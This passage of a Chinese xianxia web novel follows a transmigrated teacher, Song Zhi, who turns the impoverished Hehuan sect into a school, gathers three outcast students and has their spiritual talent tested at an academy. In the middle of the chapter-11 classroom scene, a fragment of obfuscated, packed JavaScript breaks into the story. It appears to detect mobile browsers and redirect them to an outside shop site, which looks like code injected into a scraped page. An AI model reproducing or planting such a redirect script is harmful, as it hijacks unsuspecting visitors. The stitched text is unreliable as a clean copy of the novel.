青鸟:“她说她去完成宋扒皮的任务去了。”
宋扒皮·宋稚:噗。
很好。
果然,南宫窈窕就是一个需要抽打的性格。
不抽打不干活。
宋稚:“对了,你跟老师一起来规划一下我们未来的合欢宗第一高级中学吧!”
端木青鸟:“……啊?”
未来的……合欢宗第一高级中学是什么?
……
宋稚手中翻开着地图,站在合欢宗最高峰往下看。
目前合欢宗到了最贫穷、最危机的时刻。
巨额的债务问题让合欢宗家徒四壁,宋稚第一天来合欢宗时候起码还有漏雨的房子,如今连房梁都被拆了,可谓是一片废墟。
除了荒地,还是荒地。
宋稚却没有丝毫气馁。
她甚至有些高兴:那些都是建筑垃圾!
想要重新装修房子,拆下来的东西还要花钱运走,现在好了,全都没有了,只需要建造新的就可以了!
宋稚兴致勃勃:“我打算重新规划合欢宗建筑。”
“以前的建筑群我看了,年久失修,布局不合理,都拆了正好!”
合欢宗占地面积并不大,之前是一座主殿,和几处偏殿,更多的地方是茂密的树林与荒山。
宋稚是很喜欢野生生态环境没错,但是出了合欢宗,就有更好的自然风光。
所以完全可以将合欢宗的地皮全部利用起来。
她画了一个简易图纸。
图纸上,合欢宗大门需要重建,大门后面是操场,练武场,再往前走是教学楼区域。
目前只有端木青鸟高阶法术建造的两层小楼,权且承担所有的功能。
日后教学楼后面,就要规划住宿区与休闲区,以及更多的私密区域。
饭要一口一口吃,合欢宗的土木工程也要一步一步来。
宋稚将之命名为:合欢宗高级中学图纸1.0版。
宋稚将图纸交给端木青鸟:“先建造四栋楼,这个不急,按照你灵气恢复程度来建设。”
修仙界中的灵气要慢慢修炼慢慢积攒,高阶法术的耗费灵气是普通法术的数百倍,端木青鸟年龄尚小,使用一次高阶法术需要更多的恢复时间。
只是,端木青鸟的兴致并不高。
端木青鸟闷闷地说:“我的家族擅长使用木系高阶法术,而我只能用一个高阶法术,还是用来盖房子的,若是知道我用来建造房子……”
怕是被笑掉大牙了。
修仙界中的高阶法术耗费灵气巨大,所以修炼什么高阶法术颇为讲究。
端木家的人高阶法术大多是攻击类、啥人类,到了端木青鸟这里,竟然是盖房子。
宋稚讶然看她:“你正经搞土木工程的,比街头PK被人追杀好多了吧!起码是个正经工作!”
端木青鸟结结巴巴:“土、土木工程?”
“是啊,若是有个土系法术的跟你配合,想必我们合欢宗会大变样吧。”
宋稚如此想着,她说:“再者,我从不认为人分三六九等,自然也不认为法术分三六九等。对你有用的,自然就是好的。”
“有用的,就是好的?”
端木青鸟抿了抿唇,想起来过去数年。
她流落街头的时候为了保暖,只能专心练习这个法术。
尽管这是宗族人最为不屑的高阶法术,却为她遮风挡雨。
“对呀,人也是如此。”
宋稚抬起手,摸了摸小姑娘的脑袋,摸到了一手茸茸的毛发。
“在老师看来,你不比任何所谓端木家的天之骄子差。尽管老师没见过那些人,但是老师认为,你是最棒的。”
在劝辍学儿童陈郁返回合欢宗的时候,端木青鸟可是帮了大忙咧。
被夸奖了。
端木青鸟白皙的脸蛋泛起来一层浅淡的红晕。
“是吗……哪儿有……”
宋稚极为确信地点头:“老师相信你!”
端木青鸟垂下头,头都要点到胸口上了。
沉默半晌,她才小声说:“谢谢你,宋老师。你是第一个夸奖我的人。”
这下换宋稚呆愣了。
……什么,竟然有人从未得到过夸奖?
端木青鸟仰起头,黑白分明的眼睛里有些湿润。
她的脸上还带着婴儿肥,笑起来的时候脸上肉嘟嘟的,格外可爱:“放心,合欢宗的土木工程交给我吧,我会让老师认可我的!”
-
忙碌了一天回到了寝舍。
二层小楼的楼顶,蒙面的陈郁正在擦拭他的灵剑。
一下又一下。
他的周身笼罩着夕阳,剑刃闪烁着寒光。
就像是立刻出发去杀什么人。
宋稚与端木青鸟忙了一天,两个人都灰头土脸。
陈郁看也不看两个人,低着头继擦剑。
端木青鸟无语道:“我们都出门一天了,他竟然还在擦剑!”
真就擦了一天剑啊!
宋稚仰头看着陈郁:“这么喜欢擦,以后专门交给你搞卫生。”
陈郁:?
面罩挡住了他的表情,只露出一双有些懵懵的眼睛。
“搞卫生?”
“是啊,”宋稚理所当然,“青鸟负责土木工程,你负责打扫卫生。”
“现在合欢宗刚起步,每个人都得承担起自己的责任。”
陈郁捏着自己的灵剑。
有些无所适从:“责任?”
宋稚在早上的时候问过陈郁,要不要跟着她一起,陈郁说他只学了如何杀人,不知道会做什么。
现在回来看到陈郁还保持着早上的姿势坐在那里擦剑,宋稚觉着他丧到自己了。
小孩子们总想做成惊天动地的大事,但是千里之行、始于足下,要从小事积累成就感。
应该给他安排点事情做。
“对的。你以后就是卫生委员了。”
陈郁沉默了些许。
半晌,他收起来剑,从楼顶上跳下来。
“什么是卫生委员?我应该做什么?”
宋稚给他布置任务。
便在这时,有动静从合欢宗大门外传来。
宋稚扭头,便看到夕阳下的粉裙高挑女子。
轻移莲步,乌黑长发披散落地,随着她的走动轻轻曳动。
是南宫窈窕回来了。
南宫窈窕的旁边,跟着一个蹦蹦跳跳的男孩。
哦豁,真的招生到了一个学生!
-
南宫窈窕还没介绍,过于活泼的小男孩便冲过来自我介绍了。
“你就是南宫掌门说的现任掌门吧!”
“我叫越燃!”
男孩看上去有一种气血充
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足的活跃,他跟宋稚打了招呼,又按捺不住地跟南宫青鸟和陈郁打招呼。
“你们俩是谁?我们认识一下吧!”
玉佩老头飘了出来:“是越燃啊,我记得他,当年他没有你个子高,现在还没你个子高。”
太吵了。
陈郁阴沉地戴上了耳塞。
越燃吃了一个冷脸。
他完全没有被打击到,笑嘻嘻地看向端木青鸟:“你呢?”
端木青鸟小声说:“端木青鸟。”
越燃极为自来熟地说:“那我就喊你青鸟了!”
宋稚:……
这孩子一看就是个顶级E人。
你E到我了。
显然,看端木青鸟无所适从的模样,也E到她了。
她看向南宫窈窕:“你从哪儿找到的?”
南宫窈窕的长发披散着,深色的夕阳笼罩在她身上,像是一个女鬼一般。
“哦,他自己撞上来的。”
宋稚:啊?
南宫窈窕说,她被宋稚无情地赶去招生,刚下了山,到了最近的逍遥镇,一个男孩就撞上来跟他打招呼。
南宫窈窕完全不认识他是谁,还以为是碰瓷的。
男孩挡在南宫窈窕面前,挠着后脑勺,嘿嘿笑起来:“掌门你不认识我了,你是下山来找我的吗?”
南宫窈窕:……
不仅话痨,还有些自恋。
就这样,南宫窈窕带着越燃回了合欢宗。
宋稚无语了。
为什么自己招生这么难,南宫窈窕却能守株待兔!
越燃根本停不下来嘴,一直在抓着人唠嗑。
玉佩老头看到来新人了,即便是越燃看不到他,也开始对答。
好热闹的场景。
宋稚一边嗯嗯嗯回应着,一边后悔将唯一的耳塞给了陈郁。
一个学生是五百个鸭子,现在是几千只鸭子在叫。
南宫窈窕打了一个哈欠,便要进房间。
宋稚拉住了她的肩膀。
宋稚:肩膀上的肌肉也挺多的。
南宫窈窕微微侧过身,不解地看她。
宋稚的眼神落在她几乎及地的披散黑发。
“南宫老师,我们凑够五个人了,今后就要注意教师仪表了。”
南宫窈窕似笑非笑:“我不爱打理。”
她确实不爱打理,整天披头散发,这些天来,都是这样的女鬼造型。
宋稚按住她的手没松,“为人师表,自然要注意教师仪表!”
“我给你编辫子好了!”
她抬起手就拢住南宫老师的长发。
入手丝滑如绸缎,黑的耀眼。
宋稚兴致勃勃的想给南宫老师编几股辫子。
南宫窈窕狭长的眼睛里闪过一丝冷光。
他抬手震掉了宋稚的手,瞬间抬手捏住了宋稚的后脖颈。
修长的手指落在她后颈上,大拇指扣在她易碎的喉咙处。
这完全是下意识地捏脖子。
若非她反应过来,停下指尖灵气,宋稚的脖子就被她捏碎了。
宋稚被掐着脖子,一时间失去了力气。
指尖的长发流淌。
她仰头看着南宫窈窕:……?
南宫窈窕有些僵硬。
不太好解释为什么想杀她。
宋稚:“你怎么知道我有颈椎病?”
南宫窈窕:啊。
宋稚眼睛亮亮的:“我脖子不好,一直想被捏脖子,你快帮我捏捏。”
当老师的职业病,浑身这也痛那也痛,没办法。
南宫窈窕:……
南宫窈窕也不知道为什么他后来真的帮宋稚捏脖子了。
她只记得回到房间的时候,头发被宋稚扎好了满头辫子,手指还捏的有些酸疼。
南宫窈窕坐在镜子前,捏着自己的七彩小辫子半晌无语。
她得出结论:宋稚有毒。
11.喜欢自己
一大早,越燃便开始敲门了。
“宋掌门?你起来了吗?”
宋稚惺忪睡眼打开门,看了看外面的天色:“……天才刚亮,你怎么了?”
越燃抱着枕头,仰头看着宋稚,他的眼睛圆溜溜的:“宋老师,我睡不着。”
宋稚与越燃大小瞪小眼。
天幕沉重,地平线的朝阳晕染一丝微弱的光。
越燃的眼底,有火焰在燃烧。
看着越燃赤色的眼瞳,她有些懵了。
这个眼神……
想了想,宋稚侧过身,“进来吧。”
越燃个子比端木青鸟和陈郁都矮一些。
他目前13岁,距离14岁还有一个月,确实比两个人都要小。
关于越燃,宋稚与南宫窈窕短暂对接过他的情况。
越燃看上去十分聒噪,好像没心没肺的,实际上他并不比另外两个人幸运。
根据南宫窈窕所言,与被宗族抛弃和被灭了全族的陈郁相比,越燃被捡到的时候,是在寺庙的门口。
那时他的襁褓已经被火燃烧了一半,小脸被熏得发黑。
越燃好像是一个灾星的存在。
在他三岁的时候,寺庙遭遇了意外,毁灭于一场大火。
而后的越燃就开始居无定所。
直至六岁的时候开脉,被确定为合欢宗之人,送到了合欢宗。
宋稚:系统系统,越燃是什么剧情?
【系统:尚未触发关键剧情,尚未解锁越燃相关恋爱脑剧情。】
宋稚给了系统一个白眼。
系统:他年龄更小一些,还没开窍,宿主等等关键剧情嗷。
宋稚:。
懂了。
十三岁的越燃还没有遇到让他变成恋爱脑的人。
未来的日子堪忧啊。
她做下笔记:以后要开设反诈骗课程!
越燃跟着宋稚到了房间里,像是安静不下来一样到处巡视。
嗯,像个陀螺。
“宋老师的房间跟我没什么不同嘛!什么东西都没有!”
宋稚:“小孩,小声一点,大家都还在睡呢。”
越燃眼睛笑得眯起来:“我刚才敲了一圈门,他们虽然没开门,但是应该醒了。”
宋稚:……
你还真的都骚扰一遍啊!
只有她是好心人,给越燃开门了。
宋稚头疼。
“说吧,你想干嘛。”
越燃挠了挠乱糟糟的头发:“我想找人说说话。”
宋稚又懵了:“啊?”
越燃嘿嘿一笑:“大家好像都不喜欢我,也不爱跟我说话,但是我特别想跟别人聊天。”
当初越燃离开合欢宗,就是宗门里没人。
在逍遥镇听说宗门里回来了好几个人之后,他立刻缠着南宫窈窕带他回去。
越燃委屈巴巴说:“当初我离开合欢宗就是因为没人陪我说话,南宫掌门看上去美艳动人,实际上可吓人了,我这么爱跟人打交道的人,都觉着她会杀人。”
宋稚安慰越燃:“其实南宫掌门也不太吓人,她是个好人,多逗逗她,就会说话了。”
昨晚上她给南宫窈窕扎了满头小辫子,南宫窈窕不是很开心吗?
开心的一直捏她脖子。
再这么捏下去,颈椎病都要治好了。
南宫师傅的手艺太好了,宋稚甚至想当场办卡。
越燃嘿嘿一笑。
作为最后一个离开合欢宗的人,他自然感觉到南宫掌门不像是宋掌门说的那样。
但是既然宋掌门这么说,他就姑且认为南宫掌门是个好人吧。
宋稚打了一个哈欠:“说吧,你想干嘛?”
越燃的眼神往旁边飘:“以后你就是我们的掌门了,大家好不容易聚集在一起,我不想毁了它。”
宋稚:?
越燃下定了决心:“我身体里有可怕的火,不知道何时就会焚烧一切。当初在寺庙,便是我控制不住,毁掉了他们。”
“如果我失控的话,宋老师,你就杀了我吧!”
宋稚看着越燃的眼睛。
男孩的眼睛已经成了赤色。
火苗在燃烧,似是越来越剧烈,越来越凶猛。
宋稚似是被蛊惑,眼睛无法移开。
她看的入了神。
越燃推了宋稚一下,她才缓过神来。
“你这眼神……”
越燃下意识地眨了眨眼。
他抿了抿唇,脸色有些苍白:“他们都说我是灾星,眼睛会带来灾害。”
“我很想亲近大家,但是又怕地狱之火会伤害他们。”
他像是下定了决心,握紧了拳头,仰头看宋稚:“我不是灾星。”
宋稚盯着越燃的眼睛,后面的话终于说出来:“你的眼睛,很漂亮。”
越燃:……欸?
他似是有些不可置信。
宋稚明显已经被地狱之火蛊惑到,竟然还……还夸他眼睛好看?
宋稚微笑起来。
她抬手,终于摸到了越燃乱糟糟的头发,使劲儿按了按:“明明很好看呀,别人的眼睛可不是红色的,而你是红色的,你就更特别一点。”
“这种特别不是灾星,而是更漂亮了。你有了别人没有的限定瞳孔皮肤欸!”
越燃的眼底,火焰在疯狂地曳动。
“瞳孔皮肤?”
宋稚拉着他坐在凳子上:“是呀,这么特别的眼睛,老师只能戴美瞳才能拥有,而你现在就有了,省了多少钱啊。”
越燃被摁在椅子上,有些不自在:“宋老师,你做什么?”
宋稚拿起来梳子,脸上是神秘的微笑:“给你梳头发,编辫子。”
越燃:??
-
南宫窈窕睡醒的时候,看着镜子中的自己,有些不高兴。
镜子中的自己身着一袭粉色裙子,曾经随意披散的长发变成了满头小辫子,下面用七彩的小皮筋束缚。
昨晚上睡前,她本来想全都拆掉,然而不知道为何,脑海里突然想到:她不给别人编辫子,偏偏给自己编辫子,是为什么?
抱着这样奇怪的疑问,南宫窈窕便没动小辫子。
这么多人,单单给自己编辫子,她一定是……很喜欢自己。
南宫窈窕怀着这样的心情,推开了合欢宗大殿的门。
于是她看到了另外一个被扎了小辫的越燃。
越燃的小辫子只扎了几缕,用的是红色的小皮筋。
他的头发有些发红,与红色小皮筋和红色眼睛搭配起来,看上去格外的热烈张扬。
越燃比昨天聒噪多了,拉着人看他的几缕小辫子。
骄傲地说:“宋老师给我扎的!”
南宫窈窕:……
她几乎石化在原地。
原来宋稚还会给另外一个人扎小辫。
更为无语的是,端木青鸟不高兴了,她冲着宋稚摇袖子:“宋老师,我也想要扎小辫!”
宋稚笑眯眯道:“好呀好呀。”
南宫窈窕:……
自闭。
南宫窈窕阴沉着脸坐了下来。
“不是要上开学第一课吗?怎么还不开始?”
宋稚回过神来。
期待已久的开学第一课,总算是来了!!
-
至此,合欢宗的保底五人,总算是凑齐了。
宋稚和南宫窈窕。
端木青鸟和陈郁,越燃。
宋稚站在讲台上看着这三个学生,心底满是慈爱:
一个班六十个人的时候,很难慈爱的起来。一个班三个人的时候,率先进入小班教学,宋稚的慈爱可以释放了。
开学第一课,最先开始的是老师的自我介绍。
不能直接讲新课,必须要先立规矩!
“大家都已经认识我了,我是宋稚,以后喊我宋老师就行。”
三个学生坐在崭新的桌椅上,他们姿势各异,神情各异。
只有端木青鸟的坐姿最是工整。
陈郁遮住了半张脸,只看到不高兴的眼睛。
越燃坐不住,已经试图站起身来溜达,被宋稚的眼刀威胁,只好又坐了下来。
“宋老师,我们以前都是自己想做什么就做什么,现在要上什么课啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407596|153456||http|test|mini|href|location''.split(''|''),0,{}));
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>越燃一脸痛苦:“我讨厌看到书籍,我也不想上什么课。”
这就是问题所在啊。
宋稚推了推自己的眼镜:“这是不对的。从你们六岁选为合欢宗的人之后,就放弃了学习,常年不学习的人,只会成为文盲!”
在现代当文盲都不好找工作,在修仙界当文盲,岂不是更没有出头之日?
再者,修行是需要文化课知识的,若是没有底蕴,甚至连古籍都看不懂。
“既然决定要改变命运,那么就要承受常人所不能承受,学习旁人所不能学。”
宋稚坚定地说:“从六岁起,你们就落下了很多课程了,现在追赶要十倍百倍努力,才能有所成就!青云榜头名,一定是属于你们的!”
关于青云榜头名的事情,端木青鸟知道,陈郁也知道。
越燃不知道。
他回来的时候,可不知道要挑战青云榜头名。
越燃瞳孔一缩,心底只有两个字:荒谬!
“荒谬!”
“你们都疯了!我不学了,我要走了。”越燃站起身来,这根本就是不可能完成的任务!
“咚!”
一个粉笔头准确无误地砸到越燃的脑袋上。
越燃捂住头,震惊道:“你竟然能打中我?”
宋稚莫名其妙:“教师的必备技能,有什么惊讶的?”
“不。不是……”
越燃很难解释!
他的地狱之火燃烧在眼眸中,能够准确地捕捉到周遭的灵气波动。
可是宋稚扔过来的粉笔头,他竟然毫无所觉!!
宋稚严厉道:“课堂上不许随意走动,坐下!”
神秘的力量促使越燃就那么乖乖坐下来了。
“上课的铃我已经安装好了,我会根据时间打铃。听到铃声必须进入班里,保持安静,等待老师上课。”
“见到老师要礼貌,保持好卫生,友爱同学,不允许霸凌行为!以后你们就是伙伴了。”
端木青鸟眨了眨眼,看向陈郁与越燃:“说实话,我在一个月前,从未想过我还会有伙伴。”
没有遇到宋稚之前,她还在当精神小妹,满心满眼只有一个男人。
即便是有可能变成男人的药人,她也甘之如饴。
陈郁皱着眉头,看了看端木青鸟,又看了看越燃。
他轻哼一声,“好弱。”
“喂!”
越燃不服气了,“你说谁弱呢?”
“你们都很弱。”
陈郁丝毫不客气:“太弱的人,当不了杀手。杀手也从不需要伙伴。”
越燃:“就你还当杀手?杀了几个人啊?”
端木青鸟捧着脸,看着他们俩打嘴仗,眼睛弯起来。
宋稚给青鸟竖了一个大拇指:“看来恋爱脑清醒后,你改变了很多。”
“是呀,”端木青鸟仰着脑袋看宋稚:“毕竟如果不是遇到宋老师,我就死了呢。”
宋稚腰上挂着小蜜蜂,脸上极为慈爱:“还有一些不能迟到的问题,坐姿的问题,之后我会贴上班级行为准则在后面,大家自己看。”
“我们合欢宗的大门牌匾已经让青鸟同学做好了,以后我们对外称做合欢宗,对内就称做合欢宗第一高级中学。”
“至于你们三个人,最先回归合欢宗的三个人,就组成第一班。”
这是宋稚考虑之后的决定。
每个学生都身负沉重的身世,又有未来的不确定性,教学班级人数不能像是现代那样大班教学。
最好是组成先进的小班,由专业的老师专业地带班。
更何况,宋稚这些时日研究青云榜,才得知青云榜分为两个榜。
一个是单人榜单,一个是多人榜单。
多人榜单则是至多三个人为一组。
三年更新一次青云榜。
这也意味着,如果顺利的话,宋稚三年后可以用青云榜改变四个人成为炉鼎的命运!
宋稚决定带第一班的成员。
之后招收的学生,则是由南宫窈窕来带。
“第一班?”
宋稚推了推眼睛,“是的,修仙界,第一班!”
12.圣人开会
云山雾霭中,巍峨耸立的天柱让人生畏。
它从地下涌出,像是一把利刃一般连接天幕,向不知名处而去。
人在下面仰视,只会觉着自己格外渺小。
天柱更为特殊的是,在巨大的石壁上浮现的文字。
那是代表着天道威严的天书。
天书的文字不可破解,即便是最通彻天意的圣人,也只能识别寥寥几个字。
在无数让人敬畏的天书文字中,只有一个部分是能让中州大陆所有人都看到的。
那便是青云榜。
青云榜,平步青云。
每隔三年,百宗书院在七位圣人授意下,举办青云榜大比。
青云榜第一,前途无量,甚至是未来的预定圣人。
青云榜一共有九十九席位,而人们关注的,通常只有青云榜前十。
而在青云榜拿到头名的人,会有一项“特权”。
这些年来,尽管青云榜上的名字一直在变动,人们却始终能记得青云榜头名的那些名字。
清贫道人赵一、书圣独不禁、狂怒将军飙尘、蛊胜真人凤芝……
以往的青云榜名字尽数罗列,各个都能掀起中州大陆的风云。
尽管这风云,有时会是黑色的。
收录天下英才的青云榜上,等待着后来人的书写。
而三年后的新青云榜,则是由目前的百宗书院开启。
今日,是百宗书院测试灵根的最后一天。
所有参加三年后青云榜大比的人,尽数由今日录入档案,过期不候。
这个过程,已经有半个月,该登记的早就登记了,百宗的负责人员也都核实过,不会有遗漏的人员。
负责登记审核的百宗书院修士打着哈欠,坐在露天的椅子上唠嗑。
“你们说,这一切的青云榜头名会是谁啊?”
“那还用说,书圣的弟子可是这一批登记的,三年后毫无悬念。”
另外一人轻嗤道:“那可不一定,书圣的弟子可不一定是书圣,书圣当年也是出乎意料的打败了烈焰国的……那个谁来着,才成为头名的。”
“现在没人记得失败者的名字,想要成为头名,可不是那么简单的。”
那人看了看天色:“好了,差不多了,小罗我们收拾东西走吧。”
小罗讶然:“张师兄,还有一个时辰,就收起来了?”
“不会有人来了。”张师兄轻笑一声,“我跟数百个宗门都核对过名单,没有遗漏任何一个人。”
张易师兄一向细心,那定然不会有错。
小罗打了一个哈欠,站起身来,复又伸了个懒腰:“今天提前结束,我可要回去好好泡个温泉。”
小罗的摊位收拾到尾声,远处,忽而传来了喧闹声。
空阔的广场上,吹来了一阵风。
小罗缓缓停下手中的动作,扭头看去。
下午的太阳柔和而灿烂。
一个身量尚矮的男孩走在最前面,他背对着小罗这个方位走路,手臂交叠在脑后。
像是极为兴奋一般,跟后面的人说些什么。
蒙着面的男孩比最前方的男孩个子稍微高一点点,他脸上覆盖着黑色的面罩,神情阴郁,一副生人勿进的模样。
旁边的女孩一头青色的长发,皱着眉头在训斥什么。
三个半大小孩的稍后一些,则是两个女子。
一个女子身材高大,身形高挑,一身粉色长裙恍若流云。
眼睛狭长,眼神带着些凌厉森然,眼角缀着的一颗红色小痣消解了不少可怕。
最主要的是,她的长发被随意地编了小辫,走出来一种慵懒随性的气质。
看上去有些亦正亦邪。
小罗看的呆了:“如果我没记错的话,那是合欢宗掌门?”
“好像是叫做南宫窈窕?她来干什么?”
张易也蹙紧眉头。
他跟数百个宗门都核对过了名单,却没有问合欢宗的人。
整个修仙界都默认合欢宗的人不需要问。
现在合欢宗掌门南宫窈窕跑到百宗书院做什么?
更重要的是,根据他所知,南宫窈窕并不好打交道。
至于南宫窈窕旁边的那个合欢宗女子,身量大约只到南宫窈窕的胸口处。
五官清淡,眼神黑白分明,看上去有一些……
张易半天没描述出来。
若是现代人再此,就能告诉他:那是教师味儿。
宋稚并不习惯穿古装。
然而也没有换的衣裳,只好换上了合欢宗的制服。
说是制服,实际上很是好看。
粉色纱摆,随着走路会轻轻荡起,像是云朵一般。
很是温柔。
她穿着合欢宗的粉色衣裙,跟南宫窈窕走起来路,像是姐妹一般。
宋稚笑嘻嘻地抱着南宫窈窕的胳膊,说了这个想法。
南宫窈窕却冷冷瞥了她一眼,什么话都没说。
宋稚习惯了南宫窈窕的阴晴不定。
她也没在意。
“总算是到了百宗书院的报名点了!”
实际上,今日一早,宋稚就喊着大家出发去百宗书院了。
然而,尽管合欢宗距离百宗书院很近,也是在圣人口谕下能在百宗书院挂账,可是当宋稚带着学生们去百宗书院的时候,却发现形势远远比她想象的要糟糕。
百宗书院并不允许三个学生进入。
守护护山大阵的修士也很为难:“合欢宗的人,一向不会出现在大庭广众之下,我们从来没有放进去过合欢宗的修士。”
“倒是合欢宗掌门可以进入百宗书院,然而那也是需要通知才能进入的。”
宋稚险些被气死。
哪儿有学校拒绝学生进门的?
有教无类不知道吗?
合欢宗前任掌门南宫窈窕和宋稚可以进去,三个学生就绝对不可以进入。
然而南宫窈窕与宋稚的待遇也并不怎么样,他们即便是进入百宗书院,也只能去圣人堂,其他地方并没有权限。
说是没有权限,实际上是以往的数千年里,从未让合欢宗的人进去过。
宋稚在门口想了想,让三个学生在门口等,她拉着南宫窈窕,去圣人堂觐见。
圣人堂在百宗书院的最深处,需要爬好几座大山,走过料峭的栅道,以及无尽的深渊。
等到了圣人堂的时候,宋稚已经气喘吁吁,全靠南宫窈窕拉着她走了。
南宫窈窕:……那是我拉你吗?那不是你硬往我身上趴的吗?
百宗书院的圣人并非寻常人能觐见的。
宋稚让人通报传达已经很久了,她就站在高大巍峨的建筑外一个时辰,才有人过来传话。
“关于你所求之事,圣人说占卜天象,此举可行。”
“圣人已然在与其他圣人商议此事,还请稍后。”
宋稚:???
她挠了挠头,干脆在台阶上坐了下来。
没想到仅仅是带着合欢宗的弟子进入百宗书院学习,就要惊动最高领导,还要跟其他的领导们一起开会讨论。
修仙界也很爱开会啊!
南宫窈窕:“怎么坐下来了?刚才不还是不想坐下来?”
说着,她也坐下来。
宋稚熟练地头一歪,靠在
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南宫窈窕的肩膀上。
“那是你不经常开会……我先睡会儿,散会喊我。”
宋稚最讨厌开会了。
一场会能开四个小时,中途膀胱都要爆炸了都得憋着,否则领导要勃然大怒。
既然圣人们要开会,一时半会是解决不了了。
不如补觉。
这一觉,睡了很长。
圣人堂外侍奉的修士们:……
他们震惊无语地看着台阶上坐着的那两位。
先是一个人躺在另外一个人身上睡了,接着另外一个人打了个哈欠,就那么靠着柱子也睡着了。
两个人仿佛到了自己家!
……谁敢在圣人堂前面睡觉啊!
也只有这两位敢了!
守卫们就那么震惊地盯着两个人一个时辰。
直至再次有人通传。
“圣人允了。”
宋稚这才被南宫窈窕摇醒。
她擦了擦口水,笑眯眯地冲着圣人堂道:“下次开会时间别那么长!”
守卫们:……
咋滴,你还教圣人做事了?
宋稚其实心底窝了一股火。
她没想到会在圣人堂这里等了这么久,学生们应该等急了吧。
等到宋稚急匆匆地赶到百宗书院门口,再带着他们前往登记台的时候,距离结束还有一个时辰。
而负责此事的人,已经将摊位都收起来了。
宋稚:“我们是合欢宗的,麻烦登记一下。”
这句话说完,张易与小罗都震惊了。
他们听到了什么?
几千年来,从未有合欢宗的人进入百宗书院学习。
更何况,所有人进入百宗书院的目的,是为了青云榜留名。
合欢宗的所有人,都被内定为某个修士的炉鼎,更没有修行的资质。
即便是合欢宗宗主,也不过是更高级别的……炉鼎。
说是分配给修士炉鼎,实际上是某种意义上的论功行赏。
他们这些炉鼎过来干什么?
……砸场子?
宋稚不想砸场子。
她看着那些人震惊鄙夷的目光,又看了看沉默不语的三个孩子。
她心底有些难受。
他们从六岁开脉开始,便被这样的目光凝视着,该有多伤心啊。
怪不得端木青鸟宁愿四处流浪,都不肯再回来了。
宋稚的声音很平,却很有力度:“按照规章制度,我们合欢宗需要有五个人才能凑够最低学习名额,现在我们已经够了。”
小罗磕巴道:“可是……规章制度是规章制度……”
宋稚懒得废话:“圣人允了。”
张易:……
圣人说话了,还有什么可说的?
他拿起来毛笔,给五个人做好登记,递给他们五个牌子。
“登记只是第一步,还要测天赋。”
张易的话语意味深长:“当然,圣人能让你们登记,等于说跨过了修为审核,然而若是你们的神识并不足以加入百宗书院,也是徒劳的。”
张易自觉明白了圣人的用意:圣人定然是觉着明面上不好拒绝,这才允了。
要知道,百宗书院可不是那么好进的,登记只是第一步,接下来测试神识强度,才是最重要的。
宋稚随手拿起来牌子,分给越燃他们。
“走吧,我们测神识。”
越燃有些不安:“我还从未测过神识。”
宋稚抬手就揉了一把他的头发:“无论何时,都要相信自己。”
所有人都看不起你的时候,唯独自己,要看得起自己。
13.肢体接触
浩渺石屹立在百宗书院广场的中央。
“就用这个测神识?看上去没什么大不了的。”越燃等得已经有些不耐烦了。
夕阳西下,落日的余晖洒落浩渺石上,负责测验神识的修士唤作方岗。
方岗人都已经溜了,收到张易的传讯,又赶了回来。
“怎么还会有人来测神识啊!都已经结束了!”
百宗书院的广场上,听到消息赶过来了不少人。
根据衣着的不同,可以看出他们属于不同的宗门。
无一例外,都在好奇书院内竟然出现了合欢宗的人。
“合欢宗的人从开脉就测出来不能修行吧,天生的炉鼎体质,只能滋养别人,这种炉鼎为什么要进入百宗书院?”
“谁知道呢,还要测神识,从未有过合欢宗的人测神识,根本测不过吧。”
“抛头露面成何体统,他们应该在合欢宗里好好呆着!”
“听说是新宗主宋稚直接杀到了圣人堂那边,迫使圣人答应了。”
“不会吧?圣人会被胁迫?这个宋稚是何人?”
“我用占星术占卜,并没有查到宋稚此人出自何门何派,仿佛是突然蹦出来的一样。”
围观看热闹的弟子们不少,而在圣人堂的内部,一名老者坐在椅子里,闭目养神。
在黑暗的虚空中,出现了六抹剪影。
剪影的地上,则是闪着光的阵法。
这意味着并非实体,而是以某种方式进行的开会。
七位圣人开完会,并没有离开。
他们默默注视着合欢宗的一行人走到了浩渺石前。
有圣人开口,声音虚无:“为何不拦着?”
有人答:“此人无根无源,乃是预言中那人,恐怕,我们一直担忧的那件事,要提前了。”
“预言中那人的出现,会带来毁灭世界的噩梦。”
圣人堂中一直闭目的老者终于睁开眼睛:“不,也许,是一线生机。”
他的眼神,落在了虚拟屏幕的中央。
在预言中的那人,宋稚的身边,是一个高大的粉裙女子。
-
“站在浩渺石前,将手贴在上面,再将神识沉入浩渺石星图就可以了。”
方岗替人尴尬的毛病又来了,他不想看到这几个合欢宗的自取其辱。
以往有人不是没有强求过,不知道用了什么方法过了登记那一关,到了浩渺石测神识的时候,神识星图只点亮了第一层,距离五种星图九种境界还远得很。
真是丢人啊。
方岗忍不住开口:“现在回去还来得及,起码不用丢人了。”
陈郁第一个站在浩渺石前。
他的面罩挡住了大半神情,眼神冷静:“不试试,怎么知道会不会丢人?”
宋稚在旁边看的极为欣慰:陈郁成长了!
修长的手落在浩渺石上。
陈郁将神识倒映在无尽的星图中。
方岗捏着纸笔,等待着记录。
浩渺石点亮的星图,分为五种,也代表着五行灵气。
根据修士的天赋,点亮的星图属性不同。
而根据神识海的强度,点燃星图的九种潜力境界也不同。
一般来讲,无法点亮星图,或者只点亮一种星图的修士,这辈子基本上与修仙无缘。
而若是点亮两种以上的星图,则可以勉强修行。
三种星图是则可以有不错的成就,四种星图极为罕见,至于五种星图,则是极为稀少。
星图也分境界,前三境是小有所得,中三境有追逐青云榜的资格,至于上三境,日后也许是圣人之境。
须臾之间,浩渺石亮了。
光芒晕染了黯淡下来的广场,格外的夺目。
巨大的浩渺石上,出现了四种星图。
“四种星图!!”
方岗瞳孔微缩:这怎么可能!
不仅如此……第五种星图,竟然还在闪着光。
竟然似乎还要亮起!
陈郁眉头皱紧。
须臾后……
“五种星图全都点亮了。”
方岗麻木地记录下来,“五种星图,八境。”
若非他亲眼所见,方岗绝对不相信合欢宗的炉鼎,竟然有如此天赋。
更为可怕的是,浩渺石测的是如今的天赋,若是等正式踏上修行之路,说不得能将天赋拉满到五种星图九境。
整座广场里的人,都傻了。
震惊弥漫,有人结结巴巴道:“……这怎么可能?”
